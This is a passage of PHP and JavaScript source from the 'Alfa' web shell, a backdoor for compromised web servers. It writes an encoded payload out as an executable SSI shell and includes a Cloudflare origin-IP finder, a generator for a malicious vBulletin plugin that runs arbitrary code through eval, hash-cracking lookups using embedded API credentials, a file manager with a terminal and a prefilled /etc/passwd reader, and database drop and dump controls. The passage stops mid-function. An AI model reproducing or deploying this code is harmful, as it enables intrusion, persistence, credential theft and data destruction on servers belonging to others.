    $code = 'rVb9b9s2EP1Xrky22MhsKcu6ptbH0A+vzYbCXeztl6YoZImS2VCkQFJOvCX/+46SrChOnKRBA8ORyOPju3ePR/vPBoOdWIqUZUCVynUWkE9jpaT6TAaD0O9Ma/YvTXMTkPnKUN3OshToRaEC0jslu+9ns49f3kwmfx6PTwkEcEpOSR8uL8FOnoz/+ns8nX35MJ69n7zF+Wc24N14hjEE1niaGlhGiKcXnOATL2lAuIYBj66DKNf03hVdJterRIJs8Q2+C/OPk+kW6kzELXVnOLzjQ03sFJHW58lDSXWwNpOCzawWJuehv6BREvqGGU7DVzyNYEajHKbTY5guKOe+U0/5OlasMMAjkZVRhlS/RsuoHiRhWorYMCkgkcz0IJcJhT78x9IejsRlToUZxlKeMWrFIMROIl+oxzQquBE21AW3SMTDWC+VqmfzA4aRrof//PXSIaciMwsP9vcZ9Dc3C9Zhn3DNZ9hHPCwiU1QHs0X5E7gH8Eck4ODlCxdcd1R94N2HGfGubkO1Ixk1Y07t4+vVcbJOd1jJ7rVRXMaR1WSoKJdR0ut7V61MRmYZpz1giVViO7KdH2qz4nSYMJQkWiGP3jeFo9xCCor2/A3IHEmdERg1Y96V79QlDH2nNsJcJiuQwjIOyLaN9mKZ55FI9vrDFEM05kZgnsWSS/Tgjlv9EYg4E2fYAVAWNGXnBbdRoZ+wZejHiEnxZXEY+qkUBtYgz1/G8eEhCS/hDlfCpe/YaEsbFzprFAvbPod+2WDaZhSQ/QOCmcWcxcijqcAeFcs9y75SLSBxqbRUo0IyC+JVZEaKJh4Jx2LJlLQaABOpbAngJs68wwHTwkIEBJFb2KYaI6t6A7rz64tXr9/+7jViFIrWR7lQdmuxtEfbqUbttFOJVX/f0u5xmWK/e2Smb+rqAh470HUT2JJrTchmjLXOBKJWEwTOWWIWATlw3R/QGVIlFGuKlrDCVI23YTGP4rNMyVIkg0aW2jzezZ57/31QNcUbEt9sdY3E8w2H1QWwhUXK0Fi6TXUejn4Uc1143W8EUDnk1CwkJoKnwuqsy3nOjD0t2LGuj4atLBNFacCsCkzV0AsMrwt01EjRBJOwge/G17DtzXBSCgR0LIFbPt8o/WaCJ1SX3HQyu3lgLLFI0ahzgukv1E2OKiSNVfwZQZU8t4/PSXP9XNAY4jwJdrGc1T3krHHwaql8AX5r129zKl5ij3TqpKCqarIaUSBlnOoHz2V1RT7Srt/JpfXdX9m0Rny6Wf9h9LxKFHrYjkwZcexGMS8T2h91KvyQdQup7/Du0gLf69wjt9KwCnySa7flNUX0BxLYtrTSL7X0oJEk2EVNrJj1yuonaNf+T3Z9I/WtfTrmv9WuHXul2ovK/tz6Hw==';
    @__write_file('alfa_ssi.shtml', __get_resource($code));
    @chmod("alfa_ssi.shtml", 0755);
    echo AlfaiFrameCreator('alfa_shtml/alfa_ssi.shtml');
    echo "</div>";
    alfafooter();
}
function alfacloudflare()
{
    alfahead();
    AlfaNum(8, 9, 10, 7, 6, 5, 4, 3);
    echo "<div class=header><center><br><div class='txtfont_header'>| Cloud Flare ByPasser |</div><br><form action='' onsubmit=\"g('cloudflare',null,this.url.value,'>>'); return false;\" method='post'>\r\n<p><div class='txtfont'>Target:</div> <input type='text' size=30 name='url' style='text-align:center;' placeholder=\"target.com\"> <input type='submit' name='go' value=' ' /></p></form></center>";
    if ($_POST['alfa2'] && $_POST['alfa2'] == '>>') {
        $url = $_POST['alfa1'];
        if (!preg_match('/^(https?):\\/\\/(w{3}|w3)\\./i', $url)) {
            $url = preg_replace('/^(https?):\\/\\//', '', $url);
            $url = "http://www." . $url;
        }
        $headers = @get_headers($url, 1);
        $server = $headers['Server'];
        $subs = array('owa.', '2tty.', 'm.', 'gw.', 'mx1.', 'store.', '1', '2', 'vb.', 'news.', 'download.', 'video', 'cpanel.', 'ftp.', 'server1.', 'cdn.', 'cdn2.', 'ns.', 'ns3.', 'mail.', 'webmail.', 'direct.', 'direct-connect.', 'record.', 'ssl.', 'dns.', 'help.', 'blog.', 'irc.', 'forum.', 'dl.', 'my.', 'cp.', 'portal.', 'kb.', 'support.', 'search.', 'docs.', 'files.', 'accounts.', 'secure.', 'register.', 'apps.', 'beta.', 'demo.', 'smtp.', 'ns2.', 'ns1.', 'server.', 'shop.', 'host.', 'web.', 'cloud.', 'api.', 'exchange.', 'app.', 'vps.', 'owa.', 'sat.', 'bbs.', 'movie.', 'music.', 'art.', 'fusion.', 'maps.', 'forums.', 'acc.', 'cc.', 'dev.', 'ww42.', 'wiki.', 'clients.', 'client.', 'books.', 'answers.', 'service.', 'groups.', 'images.', 'upload.', 'up.', 'tube.', 'users.', 'admin.', 'administrator.', 'private.', 'design.', 'whmcs.', 'wp.', 'wordpress.', 'joomla.', 'vbulletin.', 'test.', 'developer.', 'panel.', 'contact.');
        if (preg_match('/^(https?):\\/\\/(w{3}|w3)\\./i', $url, $matches)) {
            if ($matches[2] != 'www') {
                $url = preg_replace('/^(https?):\\/\\//', '', $url);
            } else {
                $url = explode($matches[0], $url);
                $url = $url[1];
            }
        }
        if (is_array($server)) {
            $server = $server[0];
        }
        echo __pre();
        if (preg_match('/cloudflare/i', $server)) {
            echo "\n[+] CloudFlare detected: {$server}\n<br>";
        } else {
            echo "\n[+] CloudFlare wasn't detected, proceeding anyway.\n";
        }
        echo '[+] CloudFlare IP: ' . is_ipv4(gethostbyname($url)) . "\n\n<br><br>";
        echo "[+] Searching for more IP addresses.\n\n<br><br>";
        for ($x = 0; $x < count($subs); $x++) {
            $site = $subs[$x] . $url;
            $ip = is_ipv4(gethostbyname($site));
            if ($ip == '(Null)') {
                continue;
            }
            echo "Trying {$site}: {$ip}\n<br>";
        }
        echo "\n[+] Finished.\n<br>";
    }
    echo "</div>";
    alfafooter();
}
function is_ipv4($ip)
{
    return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : '(Null)';
}
function __alert($s)
{
    echo '<center>' . __pre() . $s . '</center>';
}
function create_table($data)
{
    echo "<table border=\"1\">";
    foreach ($data as $key => $val) {
        $array = array();
        foreach ($val as $k => $v) {
            $array[$k] = $v;
        }
        echo "<tr><td><div class='tbltxt'>" . $array['tdName'] . "</div></td><td><input type='text' id='" . $array['id'] . "' name='" . $array['inputName'] . "' " . ($array['placeholder'] ? 'placeholder' : 'value') . "='" . $array['inputValue'] . "' size='" . $array['inputSize'] . "' " . ($array['disabled'] ? 'disabled' : '') . "></td></tr>";
    }
    echo "</table>";
}
function alfaphp2xml()
{
    alfahead();
    AlfaNum(8, 9, 10, 7, 6, 5, 4, 3);
    echo "<div class=header><center><p><div class='txtfont_header'>| Shell For vBulletin |</div></p><form onsubmit=\"g('php2xml',null,this.code.value,'>>'); return false;\" method='post'>\r\n<p><br><textarea rows='12' cols='70' type='text' name='code' placeholder=\"insert your shell code\"></textarea><br/><br/>\r\n<input type='submit' name='go' value=' ' /></p></form></center>";
    if ($_POST['alfa2'] && $_POST['alfa2'] == '>>') {
        echo __pre() . "<p><center><textarea rows='10' name='users' cols='80'>";
        echo '<?php xml version="1.0" encoding="ISO-8859-1"?><plugins><plugin active="1" product="vbulletin"><title>vBulletin</title><hookname>init_startup</hookname><phpcode><![CDATA[if (strpos($_SERVER[\'PHP_SELF\'],"subscriptions.php")){eval(base64_decode(\'' . __ZW5jb2Rlcg($_POST['alfa1']) . '\'));exit;}]]></phpcode></plugin></plugins>';
        echo "</textarea></center></p>";
    }
    echo "</center></div>";
    alfafooter();
}
function alfacpcrack()
{
    alfahead();
    echo "<div class=header><center><p><div class=\"txtfont_header\">| Hash Tools |</div></p><h3><a href=javascript:void(0) onclick=\"g('cpcrack',null,'dec')\">| DeCrypter | </a><a href=javascript:void(0) onclick=\"g('cpcrack',null,'analyzer')\">| Hash Analyzer | </a></h3></center>";
    if ($_POST['alfa1'] == 'dec') {
        $algorithms = array('md5' => 'MD5', 'md4' => 'MD4', 'sha1' => 'SHA1', 'sha256' => 'SHA256', 'sha384' => 'SHA384', 'sha512' => 'SHA512', 'ntlm' => 'NTLM');
        echo "<center><div class=\"txtfont_header\">| DeCrypter |</div><br><br>\r\n<form onsubmit=\"g('cpcrack',null,'dec',this.md5.value,'>>',this.alg.value); return false;\"><div class=\"txtfont\">Decrypt Method:</div> <select name=\"alg\" style=\"width:100px;\">";
        foreach ($algorithms as $key => $val) {
            echo '<option value="' . $key . '">' . $val . '</option>';
        }
        echo "</select><input type=\"text\" placeholder=\"Hash\" name=\"md5\" size=\"60\" id=\"text\" /> <input type=\"submit\" value=\" \" name=\"go\" /></form></center><br>";
        if ($_POST['alfa3'] == '>>') {
            $hash = $_POST['alfa2'];
            if (!empty($hash)) {
                $hash_type = $_POST['alfa4'];
                $email = "[email protected]";
                $code = "7b9fa79f92c3cd96";
                $target = "https://md5decrypt.net/Api/api.php?hash=" . $hash . "&hash_type=" . $hash_type . "&email=" . $email . "&code=" . $code;
                $resp = @file_get_contents($target);
                if ($resp == '') {
                    $get = new AlfaCURL();
                    $resp = $get->Send($target);
                }
                echo __pre() . '<center>';
                switch ($resp) {
                    case 'CODE ERREUR : 001':
                        echo "<b><font color='red'>You exceeded the 400 allowed request per day</font></b>";
                        break;
                    case 'CODE ERREUR : 003':
                        echo "<b><font color='red'>Your request includes more than 400 hashes.</font></b>";
                        break;
                    case 'CODE ERREUR : 004':
                        echo "<b><font color='red'>The type of hash you provide in the argument hash_type doesn't seem to be valid</font></b>";
                        break;
                    case 'CODE ERREUR : 005':
                        echo "<b><font color='red'>The hash you provide doesn't seem to match with the type of hash you set.</font></b>";
                        break;
                }
                if (substr($resp, 0, 4) != 'CODE' && $resp != '') {
                    echo "<b>Result: <font color='green'>" . $resp . "</font></b>";
                } elseif (substr($resp, 0, 4) != 'CODE') {
                    echo "<font color='red'>NoT Found</font><br />";
                }
                echo "</center>";
            }
        }
    }
    if ($_POST['alfa1'] == 'analyzer') {
        echo "<center><p><div class=\"txtfont_header\">| Hash Analyzer |</div></p>\r\n<form onsubmit=\"g('cpcrack',null,'analyzer',this.hash.value,'>>');return false;\">\r\n<div class=\"txtfont\">Hash: </div> <input type=\"text\" placeholder=\"Hash\" name=\"hash\" size=\"60\" id=\"text\" /> <input type=\"submit\" value=\" \" name=\"go\" /></form></center><br>";
        if ($_POST['alfa3'] == '>>') {
            $hash = $_POST['alfa2'];
            if (!empty($hash)) {
                $curl = new AlfaCURL();
                $resp = $curl->Send("https://md5decrypt.net/en/HashFinder/", "post", "hash={$hash}&crypt=Search");
                echo __pre() . '<center>';
                if (preg_match('#<fieldset class="trouve">(.*?)</fieldset>#', $resp, $s)) {
                    echo '<font color="green">' . $s[1] . '</font>';
                } else {
                    echo "<font color=\"red\">Not Found...!</font>";
                }
                echo "</center><br>";
            }
        }
    }
    echo "</div>";
    alfafooter();
}
function alfafooter()
{
    if (!isset($_POST['ajax'])) {
        echo "<table class='foot' width='100%' border='0' cellspacing='3' cellpadding='0' >\r\n<tr>\r\n<td width='17%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'mkfile','','','','file');this.f.value='';return false;\"><span class='footer_text'>Make File : </span><br><input class='dir' type='text' name='f' value=''> <input type='submit' value=' '></form></td>\r\n<td width='21%'><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);this.d.value='';return false;\"><span class='footer_text'>Make Dir : </span><br><input class='dir' type='text' name='d' value=' '> <input type='submit' value=' '></form></td>\r\n<td width='22%'><form onsubmit=\"g('FilesMan',null,'delete',this.del.value);this.del.value='';return false;\"><span class='footer_text'>Delete : </span><br><input class='dir' type='text' name='del' value=' '> <input type='submit' value=' '></form></td>\r\n<td width='19%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'chmod','','','','none');this.f.value='';return false;\"><span class='footer_text'>Chmod : </span><br><input class='dir' type=text name=f value=' '> <input type='submit' value=' '></form></td>\r\n</tr>\r\n<tr>\r\n<td colspan='2'><form onsubmit='g(\"FilesMan\",this.c.value,\"\");return false;'><span class='footer_text'>Change Dir : </span><br><input class='foottable' id='footer_cwd' type='text' name='c' value='" . htmlspecialchars($GLOBALS['cwd']) . "'> <input type='submit' value=' '></form></td>\r\n<td colspan='2'><form onsubmit=\"editor(this.file.value,'view','','','','file');return false;\"><span><span class='footer_text'>Read File : </span></span><br><input class='foottable' type='text' name='file' value='/etc/passwd'> <input type='submit' value=' '></form></td>\r\n</tr>\r\n<tr>\r\n<td colspan='4'><form style='margin-top: 10px;' onsubmit=\"return false;\" autocomplete='off'><span><span class='footer_text'>Execute :</span><br><button onClick='alfaOpenPhpTerminal();return false;' class='foottable alfa_custom_cmd_btn'><img style='width:28px;vertical-align: middle;' src='http://solevisible.com/icons/menu/terminal.svg'> Terminal</button><br></form></td>\r\n</tr>\r\n<tr>\r\n<td colspan='4'><form onsubmit='u(this);return false;' name='footer_form' method='post' ENCTYPE='multipart/form-data'>\r\n<input type='hidden' name='a' value='FilesMAn'>\r\n<input type='hidden' name='c' value='" . $GLOBALS['cwd'] . "'>\r\n<input type='hidden' name='ajax' value='true'>\r\n<input type='hidden' name='alfa1' value='uploadFile'>\r\n<input type='hidden' name='charset' value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n<span class='footer_text'>Upload file: </span><span><button id='addup' onclick='addnewup();return false;'><b>+</b></button></span><p id='pfooterup'><label class='inputfile' for='footerup'><span id='__fnameup'></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id='footerup' class='toolsInp' type='file' name='f[]' onChange='handleup(this,0);' multiple></p><input type='submit' name='submit' value=' '></form><div id='alfa-copyright'><span class='copyright'>[ ./AlfaTeam &copy; 2012-" . date('Y') . " ]</span><br><span><a href='javascript:void(0);' onclick='alert(\"BTC: 1KLty8LUqnqsXkM3Qkvy2Kpv4gLt7Ugcyo\");' style='color: #E91E63;text-decoration: none;'>Donate Us !</a></span> <span style='letter-spacing: 2px;color: #dfff00;'>solevisible[at]gmail.com</span> <span><a style='color: #ff6060;text-decoration: none;' target='_blank' href='https://telegram.me/solevisible'>@solevisible</a></span></div></td>\r\n</tr>\r\n</table>\r\n</div>\r\n\r\n<div id='options_window' style='background:rgba(0, 0, 0, 0.69);'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"options_window\");'></div><div onClick='editorClose(\"options_window\");' class='close-button'></div></div></div><div style='height:100%;' class='content_options_holder'><div class='options_tab'></div><div class='options_content' style='margin-left:14px;margin-right:30px;background:#000;overflow:auto;'></div></div></div></div>\r\n\r\n<div id='database_window' style='background:rgba(0, 0, 0, 0.69);'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'>Sql Manager</div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"database_window\");'></div><div onClick='editorClose(\"database_window\");' class='close-button'></div></div></div><div class='content_options_holder' style='margin-left:14px;margin-right:30px;background:#000;max-height:90%;'><div class='sql-tabs'></div><div class='sql-contents' style='max-height: 85vh;'></div></div></div></div>\r\n\r\n<div id='cgiloader'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"cgiloader\");'></div><div onClick='editorClose(\"cgiloader\");' class='close-button'></div></div></div><div id='cgiframe' style='position:relative;margin-left:14px;margin-right:30px;'><div class='terminal-tabs'></div><div style='height:90%;' class='terminal-contents'></div></div></div></div>\r\n<div id='editor' style='display:none;'><div class='editor-wrapper'><div class='editor-header'><div class='editor-path'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"editor\");'></div><div onClick='editorClose(\"editor\");' class='close-button'></div></div></div><div onclick='historyPanelController(this);' mode='visible' class='history-panel-controller'><<</div><div class='editor-explorer'><div class='hheader'><div class='history-clear' onclick='clearEditorHistory();'>Clear all</div><div class='hheader-text'>History</div><div class='editor-search'><input type='text' style='text-align:center;' id='search-input' placeholder='search'></div></div><div class='history-list'></div></div><div class='editor-modal'><div class='editor-body'><div class='editor-content'><div class='editor-tabs'></div><div class='editor-content-holder'></div></div></div></div></div></div>\r\n<div id='update-content'></div>\r\n<div id='database_window-minimized' onclick='showEditor(\"database_window\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div class='minimized-text' style='top: 15px;'>Database</div></div></div>\r\n<div id='options_window-minimized' onclick='showEditor(\"options_window\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 4px;' class='minimized-text'>Options</div></div></div>\r\n<div id='editor-minimized' onclick='showEditor(\"editor\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 2px;' class='minimized-text'>Editor</div></div></div>\r\n<div id='cgiloader-minimized' onclick='showEditor(\"cgiloader\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 12px;' class='minimized-text'>Cgi Shell</div></div></div>\r\n<div id='rightclick_menu'>\r\n  <a target='_blank' href='' name='newtab'><img src=\"http://solevisible.com/icons/menu/newtab.svg\"> Open in new tab</a>\r\n  <a target='_blank' href='' name='link'><img src=\"http://solevisible.com/icons/menu/link.svg\"> Open file directly</a>\r\n  <a href='javascript:void(0);' name='download'><img src=\"http://solevisible.com/icons/menu/download2.svg\"> Download</a>\r\n  <a href='' name='view'><img src=\"http://solevisible.com/icons/menu/view.svg\"> View</a>\r\n  <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='view_archive'><img src=\"http://solevisible.com/icons/menu/view.svg\"> View Archive</a>\r\n  <a href='' name='edit'><img src=\"http://solevisible.com/icons/menu/edit.svg\"> Edit</a>\r\n  <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"move\");' ftype='' path='' fname='' href='' href='' name='move'><img src=\"http://solevisible.com/icons/menu/move.svg\"> Move</a>\r\n  <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"copy\");' ftype='' path='' fname='' href='' name='copy'><img src=\"http://solevisible.com/icons/menu/copy.svg\"> Copy</a>\r\n  <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"rename\");' ftype='' path='' fname='' name='rename'><img src=\"http://solevisible.com/icons/menu/rename.svg\">  Rename</a>\r\n  <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"modify\");' ftype='' path='' fname='' name='modify'><img src=\"http://solevisible.com/icons/menu/time.svg\">  Modify</a>\r\n  <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"permission\");' name='permission'><img src=\"http://solevisible.com/icons/menu/key.svg\"> Change Permissions</a>\r\n  <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='compress'><img src=\"http://solevisible.com/icons/menu/resize.svg\"> Compress</a>\r\n  <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='extract'><img src=\"http://solevisible.com/icons/menu/increase.svg\"> Extract</a>\r\n  <a href='javascript:void(0);' name='delete'><img src=\"http://solevisible.com/icons/menu/delete.svg\"> Delete</a>\r\n</div>\r\n<div id=\"filesman-tab-full-path\"></div>\r\n<div id='alert-area' class='alert-area'></div>\r\n<div class='cl-popup-fixed' style='display:none;'>\r\n\t<div id='shortcutMenu-holder'>\r\n\t\t<div class='popup-head'></div>\r\n\t\t\t<form autocomplete='off' onSubmit='return false;'>\r\n\t\t\t\t<label class='old-path-lbl'></label>\r\n\t\t\t\t<div style='overflow: hidden;white-space: nowrap;text-overflow: ellipsis;' class='old-path-content'></div>\r\n\t\t\t\t<label style='margin-top:10px;' class='new-filename-lbl'>New file name</label>\r\n\t\t\t\t<input type='text' name='fname'>\r\n\t\t\t\t<div class='perm-table-holder'>\r\n\t\t\t\t\t<table>\r\n\t\t\t\t\t   <tbody>\r\n\t\t\t\t\t      <tr>\r\n\t\t\t\t\t         <td><b>Mode</b></td>\r\n\t\t\t\t\t         <td>User</td>\r\n\t\t\t\t\t         <td>Group</td>\r\n\t\t\t\t\t         <td>World</td>\r\n\t\t\t\t\t      </tr>\r\n\t\t\t\t\t      <tr>\r\n\t\t\t\t\t         <td>Read</td>\r\n\t\t\t\t\t         <td><input type='checkbox' name='ur' value='4' onclick='calcperm();'></td>\r\n\t\t\t\t\t         <td><input type='checkbox' name='gr' value='4' onclick='calcperm();'></td>\r\n\t\t\t\t\t         <td><input type='checkbox' name='wr' value='4' onclick='calcperm();'></td>\r\n\t\t\t\t\t      </tr>\r\n\t\t\t\t\t      <tr>\r\n\t\t\t\t\t         <td>Write</td>\r\n\t\t\t\t\t         <td><input type='checkbox' name='uw' value='2' onclick='calcperm();'></td>\r\n\t\t\t\t\t         <td><input type='checkbox' name='gw' value='2' onclick='calcperm();'></td>\r\n\t\t\t\t\t         <td><input type='checkbox' name='ww' value='2' onclick='calcperm();'></td>\r\n\t\t\t\t\t      </tr>\r\n\t\t\t\t\t      <tr>\r\n\t\t\t\t\t         <td>Execute</td>\r\n\t\t\t\t\t         <td><input type='checkbox' name='ux' value='1' onclick='calcperm();'></td>\r\n\t\t\t\t\t         <td><input type='checkbox' name='gx' value='1' onclick='calcperm();'></td>\r\n\t\t\t\t\t         <td><input type='checkbox' name='wx' value='1' onclick='calcperm();'></td>\r\n\t\t\t\t\t      </tr>\r\n\t\t\t\t\t      <tr>\r\n\t\t\t\t\t         <td>Permission</td>\r\n\t\t\t\t\t         <td><input style='width:60px;' type='text' name='u' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"u\", [\"u\"]);'></td>\r\n\t\t\t\t\t         <td><input style='width:60px;' type='text' name='g' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"g\", [\"g\"]);'></td>\r\n\t\t\t\t\t         <td><input style='width:60px;' type='text' name='w' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"w\", [\"w\"]);'></td>\r\n\t\t\t\t\t      </tr>\r\n\t\t\t\t\t   </tbody>\r\n\t\t\t\t\t</table>\r\n\t\t\t\t</div>\r\n\r\n\t\t\t</form>\r\n\t\t<div class='popup-foot'>\r\n\t\t\t<button style='background: #2b5225;' name='accept' action='' onclick='alfaPopUpDoAction(this);'></button>\r\n\t\t\t<button style='background: #9e2c2c;' onclick='d.querySelector(\".cl-popup-fixed\").style.display=\"none\";'>Cancell</button>\r\n\t\t</div>\r\n\t</div>\r\n</div>";
        ?>
<script>
function alfaMysqlApi(e,t){var a={host:mysql_cache[e.db_id].host,user:mysql_cache[e.db_id].user,pass:mysql_cache[e.db_id].pass,db:e.db_target,db_id:e.db_id};if(e.hasOwnProperty("db_info"))for(var i in e.db_info)a[i]=e.db_info[i];var l={a:alfab64("Sql_manager_api"),c_:alfab64(c_),alfa1:alfab64(JSON.stringify(a))};if(e.hasOwnProperty("post"))for(var i in e.post.hasOwnProperty("alfa2")&&"load_data"!=e.post.alfa2&&"page"!=e.post.alfa2&&"edit"!=e.post.alfa2&&"delete"!=e.post.alfa2&&(d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-pager").innerHTML="",d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-reporter").innerHTML=""),e.post)l[i]=alfab64(e.post[i]);var r="";for(var o in l)r+=o+"="+l[o]+"&";alfaloader(e.db_id,"block"),_Ajax(d.URL,r,function(a){alfaloader(e.db_id,"none"),t(a)},!0,e.db_id)}function alfaMysqlFilterTable(e,t){setTimeout(function(){var a="",i="",l=(a="","");if(null!=e)a=e.getAttribute("target"),i=e.getAttribute("db_id"),l=e.value;else a=t.target,i=t.db_id,l=t.value;l=new RegExp(l,"i"),d.querySelectorAll("#"+i+" "+a+" ul > li").forEach(function(e){var t=e.querySelector(".mysql_tables");if(null==t)return!1;-1==(t=t.innerText).search(l)?e.style.display="none":e.style.display="block"})},200)}function alfaMysqlFilterAllTable(e,t){var a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" .mysql-tables input[name=filter_all]").value,l=d.querySelector("#"+a+" input[name=sql_count]").checked,r=[],o=[];if(d.querySelectorAll("#"+a+" .mysql-tables .list_container").forEach(function(e){var t=e.getAttribute("mode"),a=e.getAttribute("db_name");"no"==t&&r.push(a),o.push(a)}),r.length>0){if(0==i.length&&void 0===t)return!1;alfaMysqlApi({db_id:a,db_target:r[0],ajax_id:"mysql_get_all_tables",db_info:{databases:r},post:{alfa2:"load_all_tables",alfa3:l}},function(r){if(0!=r.length){for(var o in r=JSON.parse(r)){var n=o,s=d.querySelector("#"+a+" .cls-"+n);alfaMysqlMakeTblList(r[o],s,a,n,l)}void 0===t?alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}):(e.setAttribute("mode","opened"),d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/b_minus.png")}})}else if(void 0===t)for(var n in alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}),o)alfaMysqlTableMode(a,o[n],"closed");else{var s="",c=e.getAttribute("mode");for(var n in"opened"==c?(e.setAttribute("mode","closed"),s="b_plus.png"):(e.setAttribute("mode","opened"),s="b_minus.png"),o)alfaMysqlTableMode(a,o[n],c);d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/"+s}}function alfaMysqlTableMode(e,t,a){var i=d.querySelector("#"+e+" .cls-"+t),l="";void 0===a?(l=-1!=i.classList.value.indexOf("hide-db-tables")?"b_minus.png":"b_plus.png",i.classList.toggle("hide-db-tables")):"opened"==a?(l="b_plus.png",i.classList.add("hide-db-tables")):(l="b_minus.png",i.classList.remove("hide-db-tables")),d.querySelector("#"+e+" .cls-"+t+"-expander img").src="http://solevisible.com/icons/menu/"+l}function alfaMysqlExpander(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=e.getAttribute("sql_count"),l=d.querySelector("#"+a+" .cls-"+t);"loaded"==l.getAttribute("mode")?alfaMysqlTableMode(a,t):alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_get_tables",post:{alfa2:"load_tables",alfa3:i}},function(e){0!=e.length&&alfaMysqlMakeTblList(e=JSON.parse(e),l,a,t,i)})}function alfaMysqlTablesEvil(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i=e.getAttribute("mode");"checked"==i?(i=!1,e.setAttribute("mode","not")):(i=!0,e.setAttribute("mode","checked")),d.querySelectorAll("#"+a+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked=i})}function alfaMysqlTablesDumpDrop(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i="none";"dump"==e.value&&(i="block"),d.querySelector("#"+a+" "+t+" .dump-file-holder").style.display=i}function alfaMysqlTablesDumpDropBtn(e){var t=e.getAttribute("target"),a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=[],r=d.querySelector("#"+i+" input[name=sql_count]").checked,o=d.querySelector("#"+i+" "+t),n=o.querySelector("select[name=tables_evil]").value,s=o.querySelector(".dump-file-holder input").value;d.querySelectorAll("#"+i+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked&&l.push(e.value)}),l.length>0&&alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_query_evil",db_info:{tables:l,mode:n,dump_file:s},post:{alfa2:"dump_drop"}},function(e){0!=e.length&&(e=JSON.parse(e),"drop"==n?alfaMysqlMakeTblList(e,o,i,a,r):o.querySelector(".dump-file-holder").insertAdjacentHTML("beforeend","<div><a href='javascript:void(0);' onclick='g(\"FilesTools\",null,\""+s+'","download");\'><span>Download: '+s+"</span></a></div>"))})}function alfaMysqlMakeTblList(e,t,a,i,l){t.setAttribute("mode","loaded");var r='<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" db_id="'+a+'" placeholder="Filter Table" target=".cls-'+i+'" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>';for(var o in e)null!=e[o]&&(r+="<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='"+e[o].name+"'>&nbsp;<a class='db-opt-id' db_target='"+i+"' db_id='"+a+"' href='javascript:void(0);' onclick=\"alfaLoadTableData(this, '"+e[o].name+"')\"><span class='mysql_tables' style='font-weight:unset;'>"+e[o].name+"</span></a>"+(l?" <small><span style='font-weight:unset;' class='mysql_table_count'>("+e[o].count+")</span></small>":"&nbsp;")+"</div></li>");r+='</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" db_id="'+a+'" class="db-opt-id" target=".cls-'+i+'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" db_id="'+a+'" target=".cls-'+i+'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" db_id="'+a+'" class="db-opt-id" db_target="'+i+'" target=".cls-'+i+'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>',t.innerHTML=r,d.querySelector("#"+a+" .cls-"+i+"-expander img").src="http://solevisible.com/icons/menu/b_minus.png"}function alfaMysqlQuery(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" textarea[name=query]").value;alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_load_query_data",db_info:{query:i},post:{alfa2:"query"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0))})}function 